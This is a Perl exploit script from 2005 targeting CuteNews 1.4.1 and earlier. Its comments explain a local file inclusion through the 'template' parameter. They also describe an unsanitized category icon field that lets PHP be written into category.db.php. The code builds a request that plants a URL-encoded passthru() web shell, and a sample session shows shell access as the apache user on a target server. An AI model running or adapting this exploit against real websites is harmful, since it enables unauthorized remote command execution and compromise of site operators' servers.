#!/usr/bin/perl # # cijfer-cnxpl - CuteNews <=1.4.1 Remote Command Execution # # Copyright (c) 2005 cijfer <cijfer@netti.fi> # All rights reserved. # ## 1. example # # [cijfer@kalma:/research]$ ./cijfer-cnxpl.pl -h www.xxxx.org -d /news # [cijfer@www.xxxx.org /]$ id;uname -a # uid=48(apache) gid=48(apache) groups=48(apache),29000(web_serving) context=root:system_r:httpd_sys_script_t # Linux server.xxxx.org 2.6.13-1.1532_FC4 #1 Thu Oct 20 01:30:08 EDT 2005 i686 i686 i386 GNU/Linux # [cijfer@www.xxxx.org /]$ # ## 2. explanation # # this particular vulnerability is already known (sort of). a # bug as exact as this one was found by rgod in CuteNews. the # sole difference between his and my bug, are the files that # are being exploited. while his was a bug using the following # string: # # show_archives.php?template=../inc/ipban.mdu%00 # # i found my bug in: # # show_archives.php?template=../inc/categories.mdu%00 # ## 3. the bug # # the bug lies in categories.mdu, located in the /inc/ folder # of the cutenews directory. # # by using the 'template' variable in show_archives.php, we # can include any local files. in this case, we're including # categories.mdu. why? every .mdu file within the cutenews # package has raw PHP code within it, that is not protected # like the normal .php files. # # $template gets sanitized, but can be bypassed depending on # php configuration! this is why on some 1.4.0's it works and # on some others it does not. it all depends on configuration # and whether or not register_globals needs to be on. # # if(file_exists("$cutepath/data/${template}.tpl")){ require("$cutepath/data/${template}.tpl"); } # ... # # looking into categories.mdu, we notice the following to # create our exploit string: # # if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permission to edit categories"); } # ... # # elseif($action == "doedit") # { # ... # # cannot write arbitrary php code to $cat_name :( # # $cat_name = htmlspecialchars(stripslashes($cat_name)); # ... # # $cat_icon lacks sanitization :))! # # fwrite($new_cats, "$catid|$cat_name|$cat_icon|||\n"); # ... # # adding together all these elements, it is possible to inject # php code into data/category.db.php and from there, use our # injected code to either include a remote php shell, or run # commands on the system. # ## # # $Id: cijfer-cnxpl.pl,v 0.2 2005/12/26 03:36:00 cijfer Exp cijfer $
$string = $dirs; $string .= "/show_archives.php?template=../inc/categories.mdu%00"; $string .= "&member_db[1]=1"; $string .= "&action=doedit"; #can be changed from 'doedit' to 'add' if no categories exist $string .= "&cat_name=cijfer"; $string .= "&catid=1"; #can be changed to different value if starting catid != 0 $string .= "&cat_icon=%3C%3Fpassthru%28%24_GET%5Bcij%5D%29%3Bdie%28%29%3B%3F%3E";